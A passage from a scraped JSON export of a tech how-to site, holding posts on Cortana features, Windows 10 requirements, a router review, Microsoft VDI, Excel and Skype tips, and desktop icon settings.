help manage your calendar, allowing you to create meetings and events without opening the Calendar application. It will create an event with the information you provide (and even ask for more, if it thinks the information is incomplete).\nIt will also remind you of a scheduled meeting or event.\nHere's how you can use this feature:\nClick on Cortana's search box. Enter or say \" Add a meeting \" followed by the date and now \" to calendar \". Some sample queries to create events are:\n\"Add a meeting for Monday at 4PM to calendar\" - \"Add a meeting on Monday at 4 pm\" \"Add an event for tomorrow at noon\" - \"Add events for tomorrow at noon\"   14. Use Cortana inside Edge Cortana integrates with Microsoft Edge, the default browser on Windows 10, for easy use and personalization of the user's browsing experience.\nWhile using the browser, you'll see Cortana's icon appear in the address bar, clicking that you can interact with your virtual assistant. Cortana can appear when you search for a place to eat, shop online, listen to music, watch videos, etc.\nTo use this feature, you need to activate the same as in Edge browser:\nClick the Options button (three dots) and click Settings . Scroll to the right sidebar and click the View advanced button. Scroll down again there until you see the Privacy and Services section . Enable the Have Cortana assist me option in Microsoft Edge .   15. Set alarms and reminders Cortana can even let you set alarms and reminders. Using this feature, you can simply talk to Cortana to install, edit or cancel alarms and reminders without opening any application manually.\nFollow these steps to set an alarm or reminder:\nClick the Cortana search box. Say or enter \" Set alarm for \" or \" Set reminder for \", followed by the date and time to set the corresponding alarm or reminder. To edit / change an alarm or configured reminder, say or enter \" Edit alarm for \" with the date and time and to turn off the alarm or set reminder, say or enter \" Turn off alarm for \" , followed by the date and time.   16. Display the lyrics Cortana can help you, whenever you watch some music videos or remember some past songs that you want to see the lyrics of. This task is as easy as asking or querying anything else from Cortana.\nHere's how you can see the lyrics of a song:\nClick on Cortana's search box. Enter or say \" Lyrics of \" followed by the title of the song and artist name. Here are a few examples of queries to get lyrics:\n\"Lyrics of Numb by Linkin Park\" - \"Linkin Park's Numb lyrics\" \"Show me lyrics of Same Old Love by Selena Gomez\" - \"Let me see Selena Gomez's Same Old Love song\"   17. Control your computer Cortana can also help control your computer and change the basic configuration. You can provide simple commands to control your computer including things like launching applications, controlling hardware, etc.\nHere's how you can use this feature:\nClick on Cortana's search box. Enter or say words (also known as commands). Here are some examples:\n\"Turn off Wi-Fi\" - \"Turn off Wi-Fi\" \"Open Control Panel\" - \"Open Control Panel\" \"Change the wallpaper\" - \"Change wallpaper\"   18. Update news Cortana also provides you with the latest or random news and updates based on its analysis. You can set your preferences for Cortana to display news and updates that suit you.\nFollow these steps to receive news and updates:\nClick inside Cortana's search box, then enter \" News \". Open Cortana and click the Notebook icon on the left. Among the displayed cards, select News option. Turn on or off the settings to your liking.   See more:\nCompletely disabling virtual assistant Cortana on Windows 10 18 useful commands you should try with Cortana How to use Cortana to turn off or restart Windows 10? ncG1vNJzZmismaXArq3KnmWcp51kfnl506KnrGWRo7FuwNGimqSrXam8brnApJxmrJiaeq670q1kqJ5dmLyzwMCnmA%3D%3D\n","link":"/post/18-tips-and-tricks-to-make-the-most-of-cortana/","section":"post","tags":null,"title":"18 tips and tricks to make the most of Cortana"},{"body":"Windows 10 2004 (20H1 or May 2020 Update) is the first major update of Windows 10 in 2020. According to the roadmap set out before, this update should have been released to users today. Windows 10 worldwide. However, a number of security holes as well as unexpected incidents recently discovered on Windows 10 2004 have forced Microsoft to temporarily leave the time of this update until the end of May.\nIf the fix goes smoothly, there are only about 2 weeks left before Microsoft will release the worldwide Windows 10 2004 update. Therefore, now is a good time for Microsoft to announce CPU requirements for devices that want to update to a new version of Windows - an equally important factor that users need to pay attention to.\n  On the Intel side, the listed CPUs include the 10th generation Core i processor, Intel Xeon E-22xx, Atom (J4xxx / J5xxx and N4xxx / N5xxx), Celeron and Pentium. Intel has released 10th generation CPU models for a while, so the addition is completely understandable. As for AMD, the supported processors will be up to the 7th generation (A-series Ax-9xxx, E-series Ex-9xxx and FX-9xxx), Athlon 2xx, Opteron and EPYC 7xxx. However, AMD Athlon 3000 chip for some reason is not supported, although it has been launched since CES 2020.\nFor Qualcomm, Microsoft only mentions Snapdragon 850 and Snapdragon 8cx, ignoring the new Snapdragon 7c and Snapdragon 8c. However, the complete addition has to be made by the Redmond company at any time.\nIn fact, the Windows Processor Requirements list is essentially just a way for Microsoft to list users for which versions of Windows 10 are optimized for new processors. Obviously, there are many AMD Ryzen 4000 PCs currently available on the market running on Windows 10 version 1909, as well as PCs with Snapdragon 7c. Basically, the actual requirements for the processor to be able to run well on Windows 10 version is only a minimum clock speed of not less than 1GHz, compatible with x64 instruction set, supports PAE, PX, SSE2, CMPXCHG16b , LAHF / SAHF and PrefetchW.\nIn addition to the above processor requirements, your computer needs to meet the following minimum requirements to install Windows 10:\nRAM: 1GB for 32 bit or 2GB for 64bit Hard drive capacity: 32GB for both 64-bit and 32-bit operating systems Graphics card: DirectX 9 or higher Screen resolution: 800 x 600, the minimum diagonal length for the main screen from 7 inches (18 cm) or more. However, the above configuration only ensures that you can install Windows 10, not a good experience. Through my experience, the computer configuration is sufficient to operate smoothly on Windows 10 2004, work as well as play light, gently (install some emulation software) at least as follows :\nRAM: 8GB Hard drive: SSD 120GB (only for Windows installation, the program needs to use a lot, not storage), HDD 500GB to store data. Graphics card: DirectX 12 If you install Windows 10 lower than 2004, you should also have the above configuration, i3, 7 and 8 chips are okay.\nncG1vNJzZmismaXArq3KnmWcp51krm6vzqanrqyVp3qku82foKCtopbBqrvNZqCsZaKavra10Z6bZqyfYsKxsMCtnGavmaOxsMPSZmhpZWJlfXU%3D\n","link":"/post/a-computer-configuration-is-required-to-update-windows-10-2004/","section":"post","tags":null,"title":"A computer configuration is required to update Windows 10 2004"},{"body":"AC7 is a powerful and stable dual band WiFi router for large houses with many rooms. It complies with the 5th generation of 802.11ac wave 2 and boasts simultaneous dual band throughput of up to 1167Mbps.\nSpecifications of Tenda AC7 AC1200 Standard \u0026amp; Protocol IEEE802.3, IEEE802.3u Interface 1 WAN port 10 / 100Mbps 3 LAN ports 10 / 100Mbps Antenna 5dB external 6dBi Source Input: 100-240V — 50 / 60Hz, 0.2A Output ： DC 9V1A Dimensions 220mm x 141.5mm x 49mm Weight 760g ± 100g Wireless standard IEEE 802.11ac / a / n (5GHz) IEEE 802.11b / g / n (2.4GHz) Data rate 5GHz: Up to 867Mbps 2.4GHz: Up to 300Mbps Dual band 2.4 and 5GHz Dual bands Basic features Broadcast SSID: On / Off Transmission capacity: High, medium, low Beamforming MU-MIMO Wireless security protocols WPA-PSK / WPA2-PSK, WPA / WPA2 Special features Smart energy saving Smart LED on / off Tenda Cloud Tenda application etc . Setup and connectivity Tender AC7 AC1200 provides very good hardware, high speed data transfer, can be configured directly from the browser or even from a mobile application.\nEquipped with 5 6dBi external antennas, Tenda AC7 has superior wall penetration and provides approximately 50% higher Wi-Fi coverage than conventional AC1200 routers. AC7 is a AC1200 wireless router for families with high-speed Internet connection or where there are many devices that need to connect to the Internet at the same time.\nAC7 benefits from a combined dual band wireless transfer speed of up to 1167Mbps, about 70% more than other routers (at speeds of only 300 / 450Mbps). Broadband signal lets you enjoy 4K streaming and smooth online gaming.\nThe router can make transmissions without losing data in the slightly disturbed 5GHz band, to take full advantage of each bit of bandwidth.\nWith its independent power amplifier, Beamforming + technology and 5 external 6dBi antennas, the AC7 is capable of transmitting signals over a wall better than conventional routers. Powered by powerful CPU and the latest MU-MIMO technology, AC7 provides you with a fast and stable Internet connection, allowing multiple devices to connect.\nManagement and conversion The user-friendly PPPoE account transfer function makes it easy to keep the same configuration when changing the router, giving you and your family a fast and smart wireless Internet experience.\nHow to set up and use PPPoE Internet connection on Windows 10 AC7 supports cloud management. Using Tenda's WiFi app, you can control many features, such as giving children access to the Internet or blocking unwanted users.\nIt even includes a special WiFi scheduling feature, with night off, to save power.\nConclude Tenda AC7 AC1200 is a powerful yet cheap wireless router capable of delivering 1Gpbs of traffic.\nAdvantages:\nVery good price (less than VND 500,000) Performance on average 5 antennas for good signal Allow multiple simultaneous connections Convenient management via smartphone application Defect:\nGamers will need another faster option ncG1vNJzZmismaXArq3KnmWcp51kv6bCyJ6uZqyVo7GiecCcbmaZk2Z%2FcXyMmmSsrKKku6h5wKebZquklq%2BtsYydrJqkXZeur7CMsKCfoV2nvLbAxKs%3D\n","link":"/post/a-strong-and-stable-dual-band-wifi-router/","section":"post","tags":null,"title":"A strong and stable dual band WiFi router"},{"body":"Android SDK Developed by Google for its Android platform, the Android SDK is a useful program for mobile app developers, whether they are beginners or experienced. five. As of 2015, the Android SDK is now included in Android Studio, Google's official integrated development environment (IDE) for the Android operating system.\nDownload the Android SDK here.\nFeatures of Android SDK Write software code from scratch   The Software Development Kit or SDK is a collection of software development tools in an installable package. You can expect these toolkits to have almost all the tools needed to code programs from scratch and even test them. As such, you can expect to find tools for compilation, debugging, and possibly a software framework.\nSDKs tend to be required when you want to develop a specific program for a platform. This is why operating systems like Android and iOS have their own SDKs optimized for them. As such, this is nothing new to Google's Android, which is quite popular for its versatility with free and open source app development facilities.\nPerfect integration with Android Studio   This toolkit should be a starting point if you are planning to create your own Android apps. You can now get the Android SDK alongside Android Studio, which makes things even easier. From Java to C++, you can easily use these languages ​​with Android Studio. However, the Android SDK still has its own merits when alone.\nFirst, it has its own emulator or virtual device manager so you can test your projects. Android SDK also supports command line functionality with Android Debug Bridge (ADB) and even command line version of APK Analyzer. You can find basic tools for debugging, etc., and even platform-dependent tools that are always backwards compatible with older Android versions. There are even some features like Google Play Billing and Google Play Licensing that will add support to your app once it's done.\nIt's still useful to be alone   When it comes to developing for Android, it's best to use the official development kits. However, even though the Android SDK has been integrated into Android Studio, you can still use it separately - especially when you need to use an IDE other than Android Studio. Probably the only downside to this is that you need to keep the Android SDK up to date because compared to Android Studio, the Android SDK doesn't get updates as easily. Overall, however, this is a show that Android app developers can't afford to ignore.\nAdvantages\nSupports multiple programming languages Command line function Available in Android Studio Compatible with old versions Defect\nNo automatic updates when not in Android Studio ncG1vNJzZmismaXArq3KnmWcp51krq%2Bw0aignWWjmbhusM6wpaWnkZl6ra3TnqqtZZGjsbO7yJ1krJyb\n","link":"/post/android-sdk-download-latest-android-sdk/","section":"post","tags":null,"title":"Android SDK - Download Latest Android SDK"},{"body":"Toolbar Ask (the old version) for the browser has now been officially listed as a malware by Microsoft and will be automatically detected and removed by its security software.\n  For a long time, users still feel uncomfortable when installing many software with Java installers on Windows computers that are often installed along with quite annoying browser toolbar, including Ask Toolbar.\nOften these toolbars will occupy access to the user's search and make the user's browser seem cramped and heavier if there is no removal measure.\nBut the good news is that Microsoft has officially listed Ask Toolbar on the list of malware that needs to be removed. Accordingly, if the user has installed the bundled Ask Toolbar, Windows Security Essentials ( Windows 7 ) or Windows Defender ( Windows 8 ), it will quickly detect and remove the malware.\nHowever, according to Microsoft's announcement, the latest version of the Ask Toolbar will be exempted because it does not contain search protection codes and only older versions will be officially removed by Windows. .\nThis latest move by Microsoft only took place a week after the company announced plans to protect users from software with \" browser search protection \", in other words to protect their browser. Users avoid hijacking tools or applications to search features on web browsers.\nncG1vNJzZmismaXArq3KnmWcp51krrS3jK2mqKSSlr9utdJmo6KrpJqxbq3SZphmpZGhxKK%2BxGaZsmWdnrCzu9Kona0%3D\n","link":"/post/ask-toolbar-is-listed-as-a-malware-by-microsoft/","section":"post","tags":null,"title":"Ask Toolbar is listed as a malware by Microsoft"},{"body":"Network Administration - Initially virtualization tools were used to overcome issues such as server crashes, low server utilization, data center traffic, power problems, and reduce IT costs.\n Over the past few years, the Virtual Desktop Infrustructure (VDI) is an area of ​​interest, since many new virtualisation tools have been tested and implemented to address the management and provisioning issues for desktops. end user. In addition, VDI is a measure to reduce IT operation costs. \n VDI allows an organization to deploy virtual computers on the server in the data center and provide direct connections to users to another virtual computer through multiple workstations distributed from simple terminals to laptop or physical desktop. As a result, virtual computers are executed on data center servers, while user interfaces are displayed on workstations using remote desktop client applications. A VDI is not a separate tool, it also includes a hardware system, virtualization software and management tools to provide a comprehensive tool for deploying, configuring and managing desktops. Virtualization. Microsoft VDI Microsoft VDI shares many components with the systems used to deploy the server's virtualization architecture. Basically, the Microsoft VDI tool is developed on a server virtualization and management platform that adds a number of components to help manage virtual desktops. Microsoft, in collaboration with Citrix and many other partners, has provided a set of components that allow users to deploy both Static Virtual Desktop tools and Dynamic Virtual Desktops. Static Virtual Desktop A Static Virtual Desktop will directly replace a physical desktop in a stable virtual machine for a specific user. This user will connect directly to the virtual machine using a remote virtual machine connection application. A Static Virtual Desktop can include a guest operating system and some installed applications, or it can take advantage of the Terminal Server, application virtualization capabilities and data transfer applications for quarantine and partitioning. Launch of the application. Dynamic Virtual Desktop A Dynamic Virtual Desktop is often provided and combined from a single master image, and it uses Terminal Server, virtual application and data transfer application as well as specific user settings to transfer a virtual virtual desktop. These are unstable to a user. User data storage areas can be stabilized by storing in a virtual hard disk that will be connected when the virtual machine is launched and disconnected when turned off. Microsoft Windows Server 2008 Hyper-V Microsoft Windows Server 2008 Hyper-V is a virtualization class in the Microsoft VDI tool. With Hypervisor platform technology, Hyper-V supports separate and concurrent security partitions in which users can run separate virtual machines. Based on compatibility with Windows Server 2008, Hyper-V provides the ability to move virtual machines between Hyper-V servers using integrated switch clustering to minimize downtime. This feature is like Quick Migration. With Quick Migration, virtual machines are transferred to the archived state before being moved and restarted on another Hyper-V Cluster node. This feature is only useful when a Hyper-V server requires regular maintenance or users need to rebalance the Hyper-V virtual machine load. Cluster transition support also provides the ability to restart the virtual machine on a new Hyper-V cluster node in the generated situation, such as a hardware failure. Because Hyper-V can support many devices, including: SAN, NAS, DAS and iSCSI, users can choose the optimal configuration to support large and small VDI deployments. As client connections to virtual machines, Hyper-V will provide access via remote desktop protocol (RDP). Centralized Desktop in Windows Vista Enterprise Centralized Desktop in Windows Vista Enterprise (VECD) includes existing license options for deploying Windows virtual computers in a VDI environment. VECD defines license forms for virtual computers that are accessed via regular or thin client computers (a network device capable of independent data processing but must rely on the server for programs and storage). data and administration). Licenses are allocated on a base device. A normal desktop license needs to be periodically verified in addition to Windows Software Assurance, while a thin client license is just a periodic confirmation of Windows Software Assurance. In any case, users can also install countless copies of the Windows Vista Enterprise operating system or previous operating systems, and users can simultaneously access up to 4 operating systems from one device. licensed. These licenses will apply to both Static Virtual Desktop and Dynamic Virtual Desktop structures. Because licensing options are often very complex, we need to verify VECD licensing options based on VDI structure plans. Citrix XenDesktop If you want to deploy a Dynamic Virtual Desktop tool, Citrix, partner of Microsoft, has provided XenDesktop to manage the deployment process in the enterprise. XenDesktop works with Hyper-V and includes a number of components that act as a continuation mechanism to transfer the necessary virtual desktop to the user. It should be noted that the Desktop Delivery Controller (DDC) is XenDesktop's connectivity relay that identifies users and combines that user's virtual machines. After the user has been identified, XenDesktop can transfer this operating system to a virtualized host environment, bringing this user's profile to the operating system and providing user applications through an application transfer tool. Platform policy compatibility such as Microsoft Application Virtualization or Windows Terminal Services.  Microsoft Application Virtualization 4.5 Microsoft Application Virtualization 4.5 (App-V) provides a number of server platform components for central storage and application management capabilities, and when needed, delivers applications to virtual machines. With App-V's server components, App-V requires a workstation platform component to create a separate environment on the virtual machine in which an application operates independently, eliminating problems. about system stability caused by conflicting registr or file versions. App-V also has the ability to only send the necessary code to start an application on the virtual machine, providing the necessary parts based on the actual needs of the user. App-V can preserve application references in file platform caching on virtual machines to speed up subsequent application launches, a feature that is quite useful during Static Virtual Desktop deployment. In a pure dynamic environment, user and application references are reused whenever the Dynamic Virtual Desktop is combined and transferred to the end user.\n\n  \n Terminal Services RemoteApp in Microsoft Windows Server 2008 Terminal Services RemoteApp in Microsoft Windows Server 2008 can also be integrated into a VDI tool to provide access to applications for virtual machine users without having to operate or operate them on a virtual machine. In addition, the RemoteApp provides a tool for users who need to operate some applications that are incompatible with the operating system of the virtual machine. With RemoteApp, the application will be installed and operated remotely on Windows Terminal Services. Users can launch a RemoteApp platform application by clicking on the application's icon in the virtual machine or on the Start menu. This icon is linked to an MSI or RDP package that contains instructions and parameters to start an RDP session to the Terminal Server and run this application. Once the connection has been established, the application will operate in a resizable window on the virtual machine along with local applications. Related file extensions to RemoteApp will automatically launch the application, just like when the user launches the application locally.\nMicrosoft System Center Virtual Machine Manager 2008 Microsoft System Center Virtual Machine Manager 2008 (VMM) is a management tool that provides users with a console to manage physical servers using Hyper-V and virtual machines and they operate. VMM can provide virtual machines and use Intelligent Placement to determine the most suitable Hyper-V server to deploy them based on a number of properties, including the Hyper-V server load capability. Intelligent Placement is based on the compatibility between VMM and System Center Operations Manager (SCOM), which is the executable data source taken from Hyper-V servers. VMM also provides an integrated feature to perform the physical-to-virtual migration of a disk image, the ability to manage and store virtual machine libraries, and the ability to support users of the policy platform of virtual machine.\nMicrosoft System Center Data Protection Manager 2007 SP1 Microsoft System Center Data Protection Manager 2007 SP1 (DPM) is a management tool that allows users to support backup Volume Shadow Copy Services (VSS) of operating virtual machine operating systems as long as they are aware of VSS. For desktop operating systems that are not VSS aware, DPM will allow bakup virtual machines offline by turning off or saving the state of the virtual machines, then bakup the group of files that make up a virtual machine.\n Microsoft VDI in Windows Server 2008 R2 Hyper-V In the upcoming Microsoft VDI in Windows Server 2008 R2 Hyper-V, the Microsoft VDI tool integrates three main features: Live Migration, Cluster Shared Volumes and Remote Desktop Connection Broker. Live Migration supports the process of moving virtual machines between Hyper-V transition node clusters without causing service interruption.\nCluster Shared Volumes (CSV) allows multiple cluster nodes to forward simultaneous access to a Unit Number (LUN) Logical on a shared storage system while providing an empty file area suitable for all cluster nodes. With CSV, the process of managing and storing multiple virtual machine or virtual drive (VDI) files is much simpler, and eliminates the drive letter limit that users may encounter in Windows Server 2008 Hyper-V. A VHD is a file format used by Hyper-V to summarize the virtual machine's operating system and application data.\nIn Windows Server 2008 R2, Terminal Services has been renamed to Remote Desktop Services. Remote Desktop Connection Broker takes care of Session Broker functionality in Windows Server 2008 to help provide connectivity to remote desktops based on normal connection sessions and extend it to provide connectivity for Static and Dynamic Virtual Desktop. Although this feature is only for small and medium virtual machine deployments, it can be used as a platform to develop into a larger-scale enterprise tool.Conclude Virtual Desktop Infrastructure represents a combination of hardware, virtualization software and management tools that provide a comprehensive tool to provide, configure and manage virtual machines. Another VDI tool is a Terminal Services tool in that it provides each user with a separate, secure application operating system and stack instead of a separate session performed on a separate operating system. Whether users need to deploy a Static or Dynamic Virtual Desktop structure, the components of Microsoft VDI include Windows Server 2008 Hyper-V, VECD, System Center VMM 2008, System Center DPM 2007 SP1, Windows Server 2008 Terminal Services, Microsoft Application Virtualization 4.5, and Citrix XenDesktop.\nncG1vNJzZmismaXArq3KnmWcp51ksaq%2Fwqitnqpdq7GqecinZKydoquys3mRaWdxZaJneqnFz56prw%3D%3D\n","link":"/post/discover-vdi-in-server-2008-r2-hyper-v/","section":"post","tags":null,"title":"Discover VDI in Server 2008 R2 Hyper-V"},{"body":"Windows 10 Lean Edition is a new version of Windows 10 for Microsoft OEMs to install on cheap laptop and tablet products. Windows 10 Lean Edition will appear on devices with 16GB of storage. It is designed to ensure that low-memory devices can still receive Windows updates.\nExperience fast version of Windows 10 Lean Edition in Windows Insider program.\n  Normal ISO packages will be built into Windows 10 Lean Edition and appear as an option during the installation process.\n  In the configuration process, users will be asked to set up a login PIN by default (nothing different from previous Windows versions).\n  Main interface of Windows 10 Lean Edition.\n  The Start Menu of Windows 10 Lean Edition does not have any UWP applications included.\n  Completely remove basic and familiar applications like Internet Explorer, Registry Editor, Paint, . in Windows 10 Lean Edition.\n  Resolve thoroughly the level of RAM or Full Disk.\n  Windows 10 Lean Edition is equipped with typical new features such as Sets, tabbed content browsing in some applications. To activate Sets, go to Settings -\u0026gt; select System -\u0026gt; select Multitasking, then find the group setting Tabs in apps and turn ON to select Allow new tabs to create in my windows.\n  Although optimized, it seems that Windows still accounts for more than 10GB of system partition.\nCompared to other Windows versions, Windows 10 Lean Edition is basically no different, it simply shortens applications and optimizes the operating system only.\nSee more:\nMicrosoft will release Windows 10 Redstone 4 free version to users from April 30 Microsoft released a critical security patch update for all versions of Windows 10 What's special about Windows 10 April Update update? ncG1vNJzZmismaXArq3KnmWcp51ksrm8xKugnqaTmnqnrdKtZKimXay2r7DOsKpmaWBiuaatzWacnaGknryv\n","link":"/post/experience-fast-on-windows-10-lean-edition/","section":"post","tags":null,"title":"Experience fast on Windows 10 Lean Edition"},{"body":"When a new installation or \"innovation\" is made from Windows 2000 to the Vista version, the currently used printer may be disabled. You need to deal with the following operation. If you install a printer that says \" Vista found driver software, but the PCL6 driver is not compatible with the computer's settings, it blocks the drivers for NT 4.0 \" (Vista has found software driver, but that the PCL6 driver was not compatible with a enabled policy on computer that blocks NT 4.0 drivers, please calmly change the system configuration.\n  The interface of the Group Policy Object Editor utility\nClick on the Start item and enter the command gpedit.msc to call the Group Policy Object Editor utility to work. Under Computer Computer configuration section, double-click the Administrative Templates group and select Printers . In the control panel on the right, go to the Disallow installation section of the printer using kernel-mode drivers and double-click again. On the next screen, you set the operating status to Disabled . Completing this step has turned off the function of specifying Windows Vista drivers. To finish, click the OK button, then close the Group Policy Editor window and restart the computer. When the system is back on, it is possible to install the printer normally without any limited notice. However, if hardware devices that have kernel-mode writing drivers do not meet the technical standards, it is easy to generate errors for the operating system.\nncG1vNJzZmismaXArq3KnmWcp51ks6rEjK%2BgrKyRYravr86mp5qsmZe5pnnPq6CnrJWneqa%2B0aiprA%3D%3D\n","link":"/post/fix-vista-incompatible-printer-errors/","section":"post","tags":null,"title":"Fix Vista incompatible printer errors"},{"body":" Free software Version: 2.2 Update date: 11/09/2020 Platform: Windows Download DNS Jumper 2.2 here.\nCore tools and uses DNS Jumper marks some important fields when enabled. These include drop-down menus that display available DNS servers, as well as network adapters. You can view the settings for each of these options and select your preferred network. These will then take precedence over the other options in the list.\nHowever, the DNS server address can be entered manually. This can help increase the level of existing wireless security, rather than being forced to use a public host. Users who have downloaded this program feature the following:\nIt improves your security No installation required, just run the program It improves web browsing speed There are many servers to choose from It is very helpful to visit blocked websites It protects your child from inappropriate content   Additional features The use of secure servers via DNS Jumper can also be used as an effective parental control, as it can block malicious servers and suspicious websites, for example. such as sites related to pornography.\nDNS Jumper is compatible with both 32-bit and 64-bit Windows operating systems. A file size of 546.69 kilobytes will not interfere with the performance of most computers. If you are looking for a similar, free app, we recommend you to download namebench and QuickSetDNS.\nReaders interested in this tool can refer to the article: Instructions to use DNS Jumper to change and edit DNS on computers, laptops for more details.\nAdvantages\nUsers will not be required to pay to enjoy all functions. Fastest DNS servers can be found with just one click. All free Defect\nNot available\nDNS Jumper ncG1vNJzZmismaXArq3KnmWcp51ksbDDzaWmmpxdmbu0ecmupKmdomJ%2Fc3nFq5yeZaOks7XDwKucZqyfYrCprc2gnGacnqh6tLHTraCnn6M%3D\n","link":"/post/free-software-to-change-dns-settings/","section":"post","tags":null,"title":"Free software to change DNS settings"},{"body":" This wikiHow teaches you how to remove data filters from a column or an entire worksheet in Microsoft Excel. Open your spreadsheet in Excel. You can do this by double-clicking the file on your computer.\nMethod 1of 2:\nClearing Filters in one Column  Open your spreadsheet in Excel. You can do this by double-clicking the file on your computer.\n  Go to the worksheet on which you want to clear the filters. Worksheet tabs are at the bottom of the current sheet.\n  Click the down-arrow next to the column-heading. In some versions of excel, you'll see a tiny funnel icon next to the arrow.[1]\n  Click Clear Filter from (column name). The filter is now cleared from the column.\n Method 2of 2:\nClearing all Filters in a Worksheet  Open your spreadsheet in Excel. You can do this by double-clicking the file on your computer.\n  Go to the worksheet on which you want to clear the filters. Worksheet tabs are at the bottom of the current sheet.\n  Click the Data tab. It's at the top of the screen.\n  Click Clear in the 'Sort \u0026amp; Filter' section. It's near the center of the toolbar at the top of the screen. All filters in the worksheet are now cleared.\n  Isabella Humphrey Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpucmq6zecWio62doqh6qrqMnq%2BcnZw%3D\n","link":"/post/how-to-clear-filters-in-excel/","section":"post","tags":null,"title":"How to Clear Filters in Excel"},{"body":"Skype is a free online chatting, calling and video calling application with popular quality today. You can use it directly on the web or Skype application installed on computers, phones. In addition to the main feature of calling and video calling, Skype also has many useful features such as sending images, audio files, group chats, sharing data, group conversations .\nYou only need a Skype account to be able to use many of the useful features of Skype. If you do not know how to create a Skype account, you can find out in this article.\n  The following article is a detailed guide on how to create a Skype account, register a Skype account for new users.\nThere are two ways for you to create a Skype account:\nUse the Skype application. Visit the Skype homepage https://signup.live.com/ Method 1: Use the Skype application. Step 1: Open the Skype application, on the interface, select Create Account.\n(If you do not have Skype, you can download the installation file directly on the Skype homepage https://www.skype.com/en/get-skype/ and install it on your computer).\n  Step 2: Here you can create a Skype account in two ways:\nCreate a Skype account by phone number.\n1. You enter the information that Skype requires below:\n(1) Select a country.\n(2) Enter the phone number you use to create your Skype account.\nThen you click Next to continue.\n 2. Enter your information to create a Skype account.\n(3) Enter the Skype username.\n(4) Enter the Skype user name.\nClick Next to continue.\n  3. Skype will send to the phone number you entered above a code, you enter that code in the box (5) and then click Next .\n  Create a Skype account with an email account.\n1. In the Create account interface, select Use your email instead.\n  2. Here you enter your account gmail, outlook . then click Next to continue.\n  3. In the Create a password section , you create a password for your Skype account and click Next to continue. Note that the password must contain at least 8 characters and contain at least two types of letters: uppercase, lowercase, numbers and symbols.\n  4. Enter the first name in the First name box and enter the last name in the Last name box , then click Next .\n  5. Next, open the email and get the code that Skype sent and enter the Verify email ( email confirmation) code then click Next .\n  6. In the Add security info section, select the country code in the Country code box and enter the phone number for security in the Phone number box . Click Send code to have Skype send a verification code to your phone.\n  Enter the code you received on the phone number and click Next to complete.\n  Step 3: So you have created your Skype account, only a few basic setup operations are completed.\n1. First in the section Choose Your Theme you click the icon\u0026gt; (6) to view and select the theme for your Skype. Click the icon -\u0026gt;  (8) to continue (you can also press Skip  (7) to skip the basic settings).\n  2. Next in the Add a profile picture you select Upload Photo and select on your computer an image to represent Skype. After selecting, press the icon -\u0026gt; to continue.\n  3. In the Test your audio section, you can adjust the volume of the sound in the Speakers section, press the triangle icon to listen, you can leave the default. Then press \u0026nbsp;the -\u0026gt; icon to continue.\n  4. Next is Set up your camera ( camera settings), my key does not have a camera so it will display the message No device found. You also to the default settings click the OK icon to complete.\n  Method 2: Visit the Skype homepage https://signup.live.com/ Visit https://signup.live.com/, you should choose to translate into Vietnamese for easy manipulation. Here you also have two ways to create a Skype account:\nUse phone number Sign up with your email account By registering with an email account you perform the same as creating a Skype account with an email account  in Method 1.\nWith using a phone number you also do the same to create a Skype account using the phone number in Method 1, just one more step is to create a password for the account after you enter the phone number. Here you only need to create a password, note that the password must contain at least 8 characters and contain at least two types of letters: uppercase, lowercase, numbers and symbols. Then click next and continue to the other steps.\n  Thus, the article has instructed you on ways to create a Skype account, you can easily and quickly create yourself a Skype account to connect with friends, relatives . Wish you success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyaZKyjqaWybq3CnKaupqRis7C%2BjKecsGWlqLKzv4ysoKCmXaq9brLOq2SaZaOgxrGxjJqanKelo8E%3D\n","link":"/post/how-to-create-a-skype-account-for-new-users/","section":"post","tags":null,"title":"How to create a Skype account for new users"},{"body":"This wikiHow teaches you how to multiply numbers in Excel. You can multiply two or more numbers within one Excel cell, or you can multiply two or more Excel cells against one another. Open Excel. It's a green app with a white 'X' on it.\nMethod 3of 3:\nMultiplying a Range of Cells  Open an Excel presentation. Simply double-click an Excel document to open it in Excel.\n  Click a cell. Doing so will select it, allowing you to type into it.\n  Type =PRODUCT( into your cell. This command indicates that you want to multiply items together.\n  Type in the first cell's name. This should be the cell at the top of the range of data. For example, you might type \"A1\" here.   Type : . The colon symbol (\":\") indicates to Excel that you want to multiply everything from the first cell through the next cell you enter.\n  Type in another cell's name. This cell must be in the same column or row as the first cell in the formula if you want to multiply all the cells from the first cell to this one. In the example, typing \"A5\" would set up the formula to multiply the contents of A1, A2, A3, A4, and A5 together.   Type ), then press ↵ Enter. This last parenthesis closes the formula, and hitting enter runs the command and multiplies your range of cells together, displaying the result instantly in your selected cell. If you change the contents of a cell within the multiplication range, the value in your selected cell will also change.   Jessica Tanner Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWlocGqvMuyZKKmXZrFpLHL\n","link":"/post/how-to-multiply-in-excel/","section":"post","tags":null,"title":"How to Multiply in Excel"},{"body":"Icons are displayed on the Desktop screen to help users easily manipulate and use. By default, the size of icons (icons) on the Desktop screen is set to medium size, but if you want to save space, collapse the application on the Desktop screen you can set the thumbnail. The size of these icons goes against the default size.\n1. Windows 10 1.1. Resize icons on Desktop screen Windows 10 To resize the icon on the Windows 10 Desktop screen, follow the steps below:\n1. Right-click any space on the Desktop screen.\n2. On the context menu (right-click menu), select View .\n  3. Next, if you want to minimize the application icons on the Desktop, select the Small icons option. If you want to enlarge the application icon on the Desktop, select Large icons . By default the selected option is Medium icons.\n  Alternatively, you can apply a right-click on any icon on the Desktop, press and hold the Control key and use the Mouse Scroll Button (the wheel part between the right mouse and the left mouse button) to change Icon size on the Desktop screen.\n1.2. Change the size of the Taskbar icon If you want to change the size of the Taskbar icon, follow the steps below:\n1. Right-click any space on the Desktop screen.\n2. On the Context menu (right-click menu), select Display Settings .\n  3. Move the slider under Change the size of text, apps, and other items to 100%, 125%, 150% or 175%.\n  4. Select Apply under the Settings window. Windows will ask you to log out and log back in to check.\n1.3. Change the icon size on File Explorer   If you want to change the icon size or thumbnail of a specific folder on File Explorer, follow the steps below:\nOpen File Explorer, then click on the View tab and select options like Large icons, Medium icons, Small icons, List, Details, Tiles, and Content views.\n2. On Windows 7 and Windows Vista   Right-click any space on the Desktop, the context menu will appear on the screen. Here you hover over View and select Small icons (or Classic icons on Windows Vista) to minimize the icon size on the Desktop screen. By default the icon size on the Desktop screen is set to Medium Options.\nAlternatively, you can apply a right-click on any icon on the Desktop, press and hold the Control key and use the Mouse Scroll Button (the 